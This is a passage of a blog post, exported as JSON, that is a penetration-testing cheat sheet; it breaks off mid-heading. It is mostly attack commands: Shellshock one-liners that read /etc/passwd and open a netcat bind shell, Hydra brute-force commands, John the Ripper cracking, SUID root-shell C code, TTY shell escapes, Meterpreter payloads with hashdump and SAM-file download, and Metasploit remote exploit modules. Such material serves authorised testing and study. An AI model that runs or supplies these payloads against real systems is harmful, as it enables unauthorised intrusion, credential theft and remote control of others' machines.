{"id":1329,"date":"2017-03-27T18:54:27","date_gmt":"2017-03-27T22:54:27","guid":{"rendered":"https:\/\/easy-admin.ca\/?p=1329"},"modified":"2017-04-02T20:26:04","modified_gmt":"2017-04-03T00:26:04","slug":"notes-2","status":"publish","type":"post","link":"https:\/\/easy-admin.ca\/index.php\/2017\/03\/27\/notes-2\/","title":{"rendered":"Notes"},"content":{"rendered":"<h2 id=\"bof--exploit\"><span style=\"color: #ff0000;\">BOF<\/span> \/ Exploit<i class=\"fa fa-link\"><\/i><\/h2>\n<h2 id=\"exploit-research\">Exploit Research<i class=\"fa fa-link\"><\/i><\/h2>\n<p>Find exploits for enumerated hosts \/ services.<\/p>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>searchsploit windows 2003 | grep -i local<\/code><\/td>\n<td>Search exploit-db for exploit, in this example windows 2003 + local esc<\/td>\n<\/tr>\n<tr>\n<td><code>site:exploit-db.com exploit kernel &lt;= 3<\/code><\/td>\n<td>Use google to search exploit-db.com for exploits<\/td>\n<\/tr>\n<tr>\n<td><code>grep -R \"W7\" \/usr\/share\/metasploit-framework<br \/>\n\/modules\/exploit\/windows\/*<\/code><\/td>\n<td>Search metasploit modules using grep &#8211; msf search sucks a bit<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h3 id=\"searching-for-exploits\">Searching for Exploits<i class=\"fa fa-link\"><\/i><\/h3>\n<p>Install local copy of exploit-db:<\/p>\n<div class=\"highlighter-rouge\">\n<pre class=\"highlight\"><code> searchsploit \u2013u\r\n searchsploit apache 2.2\r\n searchsploit \"Linux Kernel\"\r\n searchsploit linux 2.6 | grep -i ubuntu | grep local\r\n<\/code><\/pre>\n<\/div>\n<h3 id=\"compiling-windows-exploits-on-kali\">Compiling Windows Exploits on Kali<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"highlighter-rouge\">\n<pre class=\"highlight\"><code>  wget -O mingw-get-setup.exe http:\/\/sourceforge.net\/projects\/mingw\/files\/Installer\/mingw-get-setup.exe\/download\r\n  wine mingw-get-setup.exe\r\n  select mingw32-base\r\n  cd \/root\/.wine\/drive_c\/windows\r\n  wget http:\/\/gojhonny.com\/misc\/mingw_bin.zip &amp;&amp; unzip mingw_bin.zip\r\n  cd \/root\/.wine\/drive_c\/MinGW\/bin\r\n  wine gcc -o ability.exe \/tmp\/exploit.c -lwsock32\r\n  wine ability.exe  \r\n<\/code><\/pre>\n<\/div>\n<h3 id=\"cross-compiling-exploits\">Cross Compiling Exploits<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"highlighter-rouge\">\n<pre class=\"highlight\"><code>gcc -m32 -o output32 hello.c (32 bit)\r\ngcc -m64 -o output hello.c (64 bit)\r\n<\/code><\/pre>\n<\/div>\n<h3 id=\"exploiting-common-vulnerabilities\">Exploiting Common Vulnerabilities<i class=\"fa fa-link\"><\/i><\/h3>\n<h4 id=\"exploiting-shellshock\">Exploiting Shellshock<i class=\"fa fa-link\"><\/i><\/h4>\n<p>A tool to find and exploit servers vulnerable to Shellshock:<\/p>\n<div class=\"highlighter-rouge\">\n<pre class=\"highlight\"><code>git clone https:\/\/github.com\/nccgroup\/shocker\r\n<\/code><\/pre>\n<\/div>\n<div class=\"highlighter-rouge\">\n<pre class=\"highlight\"><code>.\/shocker.py -H TARGET  --command \"\/bin\/cat \/etc\/passwd\" -c \/cgi-bin\/status --verbose\r\n<\/code><\/pre>\n<\/div>\n<h5 id=\"cat-file-view-file-contents\">cat file (view file contents)<i class=\"fa fa-link\"><\/i><\/h5>\n<div class=\"highlighter-rouge\">\n<pre class=\"highlight\"><code>echo -e \"HEAD \/cgi-bin\/status HTTP\/1.1\\r\\nUser-Agent: () { :;}; echo \\$(&lt;\/etc\/passwd)\\r\\nHost: vulnerable\\r\\nConnection: close\\r\\n\\r\\n\" | nc TARGET 80\r\n<\/code><\/pre>\n<\/div>\n<h5 id=\"shell-shock-run-bind-shell\">Shell Shock run bind shell<i class=\"fa fa-link\"><\/i><\/h5>\n<div class=\"highlighter-rouge\">\n<pre class=\"highlight\"><code>echo -e \"HEAD \/cgi-bin\/status HTTP\/1.1\\r\\nUser-Agent: () { :;}; \/usr\/bin\/nc -l -p 9999 -e \/bin\/sh\\r\\nHost: vulnerable\\r\\nConnection: close\\r\\n\\r\\n\" | nc TARGET 80\r\n<\/code><\/pre>\n<\/div>\n<h5 id=\"shell-shock-reverse-shell\">Shell Shock reverse Shell<i class=\"fa fa-link\"><\/i><\/h5>\n<div class=\"highlighter-rouge\">\n<pre class=\"highlight\"><code>nc -l -p 443\r\n<\/code><\/pre>\n<\/div>\n<h2 id=\"simple-local-web-servers\">Simple Local Web Servers<i class=\"fa fa-link\"><\/i><\/h2>\n<p>Python local web server command, handy for serving up shells and exploits on an attacking machine.<\/p>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>python -m SimpleHTTPServer 80<\/code><\/td>\n<td>Run a basic http server, great for serving up shells etc<\/td>\n<\/tr>\n<tr>\n<td><code>python3 -m http.server<\/code><\/td>\n<td>Run a basic Python3 http server, great for serving up shells etc<\/td>\n<\/tr>\n<tr>\n<td><code>ruby -rwebrick -e \"WEBrick::HTTPServer.new<br \/>\n(:Port =&gt; 80, :DocumentRoot =&gt; Dir.pwd).start\"<\/code><\/td>\n<td>Run a ruby webrick basic http server<\/td>\n<\/tr>\n<tr>\n<td><code>php -S 0.0.0.0:80<\/code><\/td>\n<td>Run a basic PHP http server<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2 id=\"mounting-file-shares\">Mounting File Shares<i class=\"fa fa-link\"><\/i><\/h2>\n<p>How to mount NFS \/ CIFS, Windows and Linux file shares.<\/p>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>mount 192.168.1.1:\/vol\/share \/mnt\/nfs<\/code><\/td>\n<td>Mount NFS share to <code>\/mnt\/nfs<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>mount -t cifs -o username=user,password=pass<br \/>\n,domain=blah \/\/192.168.1.X\/share-name \/mnt\/cifs<\/code><\/td>\n<td>Mount Windows CIFS \/ SMB share on Linux at <code>\/mnt\/cifs<\/code> if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)<\/td>\n<\/tr>\n<tr>\n<td><code>net use Z: \\\\win-server\\share password<br \/>\n\/user:domain\\janedoe \/savecred \/p:no<\/code><\/td>\n<td>Mount a Windows share on Windows from the command line<\/td>\n<\/tr>\n<tr>\n<td><code>apt-get install smb4k -y<\/code><\/td>\n<td>Install smb4k on Kali, useful Linux GUI for browsing SMB shares<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2 id=\"http--https-webserver-enumeration\">HTTP \/ HTTPS Webserver Enumeration<i class=\"fa fa-link\"><\/i><\/h2>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>nikto -h 192.168.1.1<\/code><\/td>\n<td>Perform a nikto scan against target<\/td>\n<\/tr>\n<tr>\n<td><code>dirbuster<\/code><\/td>\n<td>Configure via GUI, CLI input doesn&#8217;t work most of the time<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2 id=\"packet-inspection\">Packet Inspection<i class=\"fa fa-link\"><\/i><\/h2>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>tcpdump tcp port 80 -w output.pcap -i eth0<\/code><\/td>\n<td>tcpdump for port 80 on interface eth0, outputs to output.pcap<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2 id=\"username-enumeration\">Username Enumeration<i class=\"fa fa-link\"><\/i><\/h2>\n<p>Some techniques used to remotely enumerate users on a target system.<\/p>\n<h3 id=\"smb-user-enumeration\">SMB User Enumeration<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>python \/usr\/share\/doc\/python-impacket-doc\/examples<br \/>\n\/samrdump.py 192.168.XXX.XXX<\/code><\/td>\n<td>Enumerate users from SMB<\/td>\n<\/tr>\n<tr>\n<td><code>ridenum.py 192.168.XXX.XXX 500 50000 dict.txt<\/code><\/td>\n<td>RID cycle SMB \/ enumerate users from SMB<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h3 id=\"snmp-user-enumeration\">SNMP User Enumeration<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25<br \/>\n|cut -d\u201d \u201c -f4<\/code><\/td>\n<td>Enmerate users from SNMP<\/td>\n<\/tr>\n<tr>\n<td><code>python \/usr\/share\/doc\/python-impacket-doc\/examples\/<br \/>\nsamrdump.py SNMP 192.168.X.XXX<\/code><\/td>\n<td>Enmerate users from SNMP<\/td>\n<\/tr>\n<tr>\n<td><code>nmap -sT -p 161 192.168.X.XXX\/254 -oG snmp_results.txt<br \/>\n(then grep)<\/code><\/td>\n<td>Search for SNMP servers with nmap, grepable output<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2 id=\"passwords\">Passwords<i class=\"fa fa-link\"><\/i><\/h2>\n<h3 id=\"wordlists\">Wordlists<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>\/usr\/share\/wordlists<\/code><\/td>\n<td>Kali word lists<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2 id=\"brute-forcing-services\">Brute Forcing Services<i class=\"fa fa-link\"><\/i><\/h2>\n<h3 id=\"hydra-ftp-brute-force\">Hydra FTP Brute Force<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>hydra -l USERNAME -P \/usr\/share\/wordlistsnmap.lst -f<br \/>\n192.168.X.XXX ftp -V<\/code><\/td>\n<td>Hydra FTP brute force<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h3 id=\"hydra-pop3-brute-force\">Hydra POP3 Brute Force<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>hydra -l USERNAME -P \/usr\/share\/wordlistsnmap.lst -f<br \/>\n192.168.X.XXX pop3 -V<\/code><\/td>\n<td>Hydra POP3 brute force<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h3 id=\"hydra-smtp-brute-force\">Hydra SMTP Brute Force<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>hydra -P \/usr\/share\/wordlistsnmap.lst 192.168.X.XXX smtp -V<\/code><\/td>\n<td>Hydra SMTP brute force<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<p>Use <code>-t<\/code> to limit concurrent connections, example: <code>-t 15<\/code><\/p>\n<h2 id=\"password-cracking\">Password Cracking<i class=\"fa fa-link\"><\/i><\/h2>\n<h3 id=\"john-the-ripper---jtr\">John The Ripper &#8211; JTR<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>john --wordlist=\/usr\/share\/wordlists\/rockyou.txt hashes<\/code><\/td>\n<td>JTR password cracking<\/td>\n<\/tr>\n<tr>\n<td><code>john --format=descrypt --wordlist<br \/>\n\/usr\/share\/wordlists\/rockyou.txt hash.txt<\/code><\/td>\n<td>JTR forced descrypt cracking with wordlist<\/td>\n<\/tr>\n<tr>\n<td><code>john --format=descrypt hash --show<\/code><\/td>\n<td>JTR forced descrypt brute force cracking<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2 id=\"windows-penetration-testing-commands\">Windows Penetration Testing Commands<i class=\"fa fa-link\"><\/i><\/h2>\n<p>See <strong>Windows Penetration Testing Commands<\/strong>.<\/p>\n<h2 id=\"linux-penetration-testing-commands\">Linux Penetration Testing Commands<i class=\"fa fa-link\"><\/i><\/h2>\n<p>See Linux Commands Cheat Sheet (right hand menu) for a list of Linux Penetration testing commands, useful for local system enumeration.<\/p>\n<h2 id=\"compiling-exploits\">Compiling Exploits<i class=\"fa fa-link\"><\/i><\/h2>\n<p>Some notes on compiling exploits.<\/p>\n<h3 id=\"identifying-if-c-code-is-for-windows-or-linux\">Identifying if C code is for Windows or Linux<i class=\"fa fa-link\"><\/i><\/h3>\n<p>C #includes will indicate which OS should be used to build the exploit.<\/p>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>process.h, string.h, winbase.h, windows.h, winsock2.h<\/code><\/td>\n<td>Windows exploit code<\/td>\n<\/tr>\n<tr>\n<td><code>arpa\/inet.h, fcntl.h, netdb.h, netinet\/in.h,<br \/>\nsys\/sockt.h, sys\/types.h, unistd.h<\/code><\/td>\n<td>Linux exploit code<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h3 id=\"build-exploit-gcc\">Build Exploit GCC<i class=\"fa fa-link\"><\/i><\/h3>\n<p>Compile exploit gcc.<\/p>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>gcc -o exploit exploit.c<\/code><\/td>\n<td>Basic GCC compile<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h3 id=\"gcc-compile-32bit-exploit-on-64bit-kali\">GCC Compile 32Bit Exploit on 64Bit Kali<i class=\"fa fa-link\"><\/i><\/h3>\n<p>Handy for cross compiling 32 bit binaries on 64 bit attacking machines.<\/p>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>gcc -m32 exploit.c -o exploit<\/code><\/td>\n<td>Cross compile 32 bit binary on 64 bit Linux<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h3 id=\"compile-windows-exe-on-linux\">Compile Windows .exe on Linux<i class=\"fa fa-link\"><\/i><\/h3>\n<p>Build \/ compile windows exploits on Linux, resulting in a .exe file.<\/p>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe<\/code><\/td>\n<td>Compile windows .exe on Linux<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2 id=\"suid-binary\">SUID Binary<i class=\"fa fa-link\"><\/i><\/h2>\n<p>Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID \/ GID and shell as required.<\/p>\n<p>below are some quick copy and pate examples for various shells:<\/p>\n<h3 id=\"suid-c-shell-for-binbash\">SUID C Shell for \/bin\/bash<i class=\"fa fa-link\"><\/i><\/h3>\n<figure class=\"highlight\">\n<pre><code class=\"language-c\" data-lang=\"c\"><span class=\"kt\">int<\/span> <span class=\"n\">main<\/span><span class=\"p\">(<\/span><span class=\"kt\">void<\/span><span class=\"p\">){<\/span>\r\n       <span class=\"n\">setresuid<\/span><span class=\"p\">(<\/span><span class=\"mi\">0<\/span><span class=\"p\">,<\/span> <span class=\"mi\">0<\/span><span class=\"p\">,<\/span> <span class=\"mi\">0<\/span><span class=\"p\">);<\/span>\r\n       <span class=\"n\">system<\/span><span class=\"p\">(<\/span><span class=\"s\">\"\/bin\/bash\"<\/span><span class=\"p\">);<\/span>\r\n<span class=\"p\">}<\/span>       <\/code><\/pre>\n<\/figure>\n<h3 id=\"suid-c-shell-for-binsh\">SUID C Shell for \/bin\/sh<i class=\"fa fa-link\"><\/i><\/h3>\n<figure class=\"highlight\">\n<pre><code class=\"language-c\" data-lang=\"c\"><span class=\"kt\">int<\/span> <span class=\"n\">main<\/span><span class=\"p\">(<\/span><span class=\"kt\">void<\/span><span class=\"p\">){<\/span>\r\n       <span class=\"n\">setresuid<\/span><span class=\"p\">(<\/span><span class=\"mi\">0<\/span><span class=\"p\">,<\/span> <span class=\"mi\">0<\/span><span class=\"p\">,<\/span> <span class=\"mi\">0<\/span><span class=\"p\">);<\/span>\r\n       <span class=\"n\">system<\/span><span class=\"p\">(<\/span><span class=\"s\">\"\/bin\/sh\"<\/span><span class=\"p\">);<\/span>\r\n<span class=\"p\">}<\/span>       <\/code><\/pre>\n<\/figure>\n<h3 id=\"building-the-suid-shell-binary\">Building the SUID Shell binary<i class=\"fa fa-link\"><\/i><\/h3>\n<figure class=\"highlight\">\n<pre><code class=\"language-bash\" data-lang=\"bash\">gcc -o suid suid.c  <\/code><\/pre>\n<\/figure>\n<p>For 32 bit:<\/p>\n<figure class=\"highlight\">\n<pre><code class=\"language-bash\" data-lang=\"bash\">gcc -m32 -o suid suid.c  <\/code><\/pre>\n<\/figure>\n<h2 id=\"reverse-shells\">Reverse Shells<i class=\"fa fa-link\"><\/i><\/h2>\n<p>See <a href=\"https:\/\/highon.coffee\/blog\/reverse-shell-cheat-sheet\/\">Reverse Shell Cheat Sheet<\/a> for a list of useful Reverse Shells.<\/p>\n<h2 id=\"tty-shells\">TTY Shells<i class=\"fa fa-link\"><\/i><\/h2>\n<p>Tips \/ Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like <code>su<\/code> from reverse shells.<\/p>\n<h3 id=\"python-tty-shell-trick\">Python TTY Shell Trick<i class=\"fa fa-link\"><\/i><\/h3>\n<figure class=\"highlight\">\n<pre><code class=\"language-python\" data-lang=\"python\"><span class=\"n\">python<\/span> <span class=\"o\">-<\/span><span class=\"n\">c<\/span> <span class=\"s\">'import pty;pty.spawn(\"\/bin\/bash\")'<\/span><\/code><\/pre>\n<\/figure>\n<figure class=\"highlight\">\n<pre><code class=\"language-bash\" data-lang=\"bash\"><span class=\"nb\">echo <\/span>os.system<span class=\"o\">(<\/span><span class=\"s1\">'\/bin\/bash'<\/span><span class=\"o\">)<\/span><\/code><\/pre>\n<\/figure>\n<h3 id=\"spawn-interactive-sh-shell\">Spawn Interactive sh shell<i class=\"fa fa-link\"><\/i><\/h3>\n<figure class=\"highlight\">\n<pre><code class=\"language-bash\" data-lang=\"bash\">\/bin\/sh -i<\/code><\/pre>\n<\/figure>\n<h3 id=\"spawn-perl-tty-shell\">Spawn Perl TTY Shell<i class=\"fa fa-link\"><\/i><\/h3>\n<figure class=\"highlight\">\n<pre><code class=\"language-perl\" data-lang=\"perl\"><span class=\"nb\">exec<\/span> <span class=\"s\">\"\/bin\/sh\"<\/span><span class=\"p\">;<\/span>\r\n<span class=\"nv\">perl<\/span> <span class=\"err\">\u2014<\/span><span class=\"nv\">e<\/span> <span class=\"s\">'exec \"\/bin\/sh\";'<\/span><\/code><\/pre>\n<\/figure>\n<h3 id=\"spawn-ruby-tty-shell\">Spawn Ruby TTY Shell<i class=\"fa fa-link\"><\/i><\/h3>\n<figure class=\"highlight\">\n<pre><code class=\"language-ruby\" data-lang=\"ruby\"><span class=\"nb\">exec<\/span> <span class=\"s2\">\"\/bin\/sh\"<\/span><\/code><\/pre>\n<\/figure>\n<h3 id=\"spawn-lua-tty-shell\">Spawn Lua TTY Shell<i class=\"fa fa-link\"><\/i><\/h3>\n<figure class=\"highlight\">\n<pre><code class=\"language-lua\" data-lang=\"lua\"><span class=\"nb\">os.execute<\/span><span class=\"p\">(<\/span><span class=\"s1\">'\/bin\/sh'<\/span><span class=\"p\">)<\/span><\/code><\/pre>\n<\/figure>\n<h3 id=\"spawn-tty-shell-from-vi\">Spawn TTY Shell from Vi<i class=\"fa fa-link\"><\/i><\/h3>\n<p>Run shell commands from vi:<\/p>\n<figure class=\"highlight\">\n<pre><code class=\"language-bash\" data-lang=\"bash\">:!bash<\/code><\/pre>\n<\/figure>\n<h3 id=\"spawn-tty-shell-nmap\">Spawn TTY Shell NMAP<i class=\"fa fa-link\"><\/i><\/h3>\n<figure class=\"highlight\">\n<pre><code class=\"language-bash\" data-lang=\"bash\">!sh<\/code><\/pre>\n<\/figure>\n<h2 id=\"metasploit\">Metasploit<i class=\"fa fa-link\"><\/i><\/h2>\n<p>Some basic Metasploit stuff, that I have found handy for reference.<\/p>\n<p>Basic Metasploit commands, useful for reference, for pivoting see &#8211; <a href=\"https:\/\/highon.coffee\/blog\/ssh-meterpreter-pivoting-techniques\/\">Meterpreter Pivoting<\/a> techniques.<\/p>\n<h3 id=\"meterpreter-payloads\">Meterpreter Payloads<i class=\"fa fa-link\"><\/i><\/h3>\n<h3 id=\"windows-reverse-meterpreter-payload\">Windows reverse meterpreter payload<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>set payload windows\/meterpreter\/reverse_tcp<\/code><\/td>\n<td>Windows reverse tcp payload<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h3 id=\"windows-vnc-meterpreter-payload\">Windows VNC Meterpreter payload<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>set payload windows\/vncinject\/reverse_tcp<\/code><\/p>\n<p><code>set ViewOnly false<\/code><\/td>\n<td>Meterpreter Windows VNC Payload<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h3 id=\"linux-reverse-meterpreter-payload\">Linux Reverse Meterpreter payload<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>set payload linux\/meterpreter\/reverse_tcp<\/code><\/td>\n<td>Meterpreter Linux Reverse Payload<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2 id=\"meterpreter-cheat-sheet\">Meterpreter Cheat Sheet<i class=\"fa fa-link\"><\/i><\/h2>\n<p>Useful meterpreter commands.<\/p>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>upload file c:\\\\windows<\/code><\/td>\n<td>Meterpreter upload file to Windows target<\/td>\n<\/tr>\n<tr>\n<td><code>download c:\\\\windows\\\\repair\\\\sam \/tmp<\/code><\/td>\n<td>Meterpreter download file from Windows target<\/td>\n<\/tr>\n<tr>\n<td><code>download c:\\\\windows\\\\repair\\\\sam \/tmp<\/code><\/td>\n<td>Meterpreter download file from Windows target<\/td>\n<\/tr>\n<tr>\n<td><code>execute -f c:\\\\windows\\temp\\exploit.exe<\/code><\/td>\n<td>Meterpreter run .exe on target &#8211; handy for executing uploaded exploits<\/td>\n<\/tr>\n<tr>\n<td><code>execute -f cmd -c <\/code><\/td>\n<td>Creates new channel with cmd shell<\/td>\n<\/tr>\n<tr>\n<td><code>ps<\/code><\/td>\n<td>Meterpreter show processes<\/td>\n<\/tr>\n<tr>\n<td><code>shell<\/code><\/td>\n<td>Meterpreter get shell on the target<\/td>\n<\/tr>\n<tr>\n<td><code>getsystem<\/code><\/td>\n<td>Meterpreter attempts priviledge escalation the target<\/td>\n<\/tr>\n<tr>\n<td><code>hashdump<\/code><\/td>\n<td>Meterpreter attempts to dump the hashes on the target<\/td>\n<\/tr>\n<tr>\n<td><code>portfwd add \u2013l 3389 \u2013p 3389 \u2013r target<\/code><\/td>\n<td>Meterpreter create port forward to target machine<\/td>\n<\/tr>\n<tr>\n<td><code>portfwd delete \u2013l 3389 \u2013p 3389 \u2013r target<\/code><\/td>\n<td>Meterpreter delete port forward<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2 id=\"common-metasploit-modules\">Common Metasploit Modules<i class=\"fa fa-link\"><\/i><\/h2>\n<p>Top metasploit modules.<\/p>\n<h3 id=\"remote-windows-metasploit-modules-exploits\">Remote Windows Metasploit Modules (exploits)<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>use exploit\/windows\/smb\/ms08_067_netapi<\/code><\/td>\n<td>MS08_067 Windows 2k, XP, 2003 Remote Exploit<\/td>\n<\/tr>\n<tr>\n<td><code>use exploit\/windows\/dcerpc\/ms06_040_netapi<\/code><\/td>\n<td>MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit<\/td>\n<\/tr>\n<tr>\n<td><code>use exploit\/windows\/smb\/<br \/>\nms09_050_smb2_negotiate_func_index<\/code><\/td>\n<td>MS09_050 Windows Vista SP1\/SP2 and Server 2008 (x86) Remote Exploit<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h3 id=\"local-windows-metasploit-modules-exploits\">Local Windows Metasploit Modules (exploits)<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>use exploit\/windows\/local\/bypassuac<\/code><\/td>\n<td>Bypass UAC on Windows 7 + Set target + arch, x86\/64<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h3 id=\"auxilary-metasploit-modules\">Auxilary Metasploit Modules<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>use auxiliary\/scanner\/http\/dir_scanner<\/code><\/td>\n<td>Metasploit HTTP directory scanner<\/td>\n<\/tr>\n<tr>\n<td><code>use auxiliary\/scanner\/http\/jboss_vulnscan<\/code><\/td>\n<td>Metasploit JBOSS vulnerability scanner<\/td>\n<\/tr>\n<tr>\n<td><code>use auxiliary\/scanner\/mssql\/mssql_login<\/code><\/td>\n<td>Metasploit MSSQL Credential Scanner<\/td>\n<\/tr>\n<tr>\n<td><code>use auxiliary\/scanner\/mysql\/mysql_version<\/code><\/td>\n<td>Metasploit MSSQL Version Scanner<\/td>\n<\/tr>\n<tr>\n<td><code>use auxiliary\/scanner\/oracle\/oracle_login<\/code><\/td>\n<td>Metasploit Oracle Login Module<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h3 id=\"metasploit-powershell-modules\">Metasploit Powershell Modules<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>use exploit\/multi\/script\/web_delivery<\/code><\/td>\n<td>Metasploit powershell payload delivery module<\/td>\n<\/tr>\n<tr>\n<td><code>post\/windows\/manage\/powershell\/exec_powershell<\/code><\/td>\n<td>Metasploit upload and run powershell script through a session<\/td>\n<\/tr>\n<tr>\n<td><code>use exploit\/multi\/http\/jboss_maindeployer<\/code><\/td>\n<td>Metasploit JBOSS deploy<\/td>\n<\/tr>\n<tr>\n<td><code>use exploit\/windows\/mssql\/mssql_payload<\/code><\/td>\n<td>Metasploit MSSQL payload<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h3 id=\"post-exploit-windows-metasploit-modules\">Post Exploit 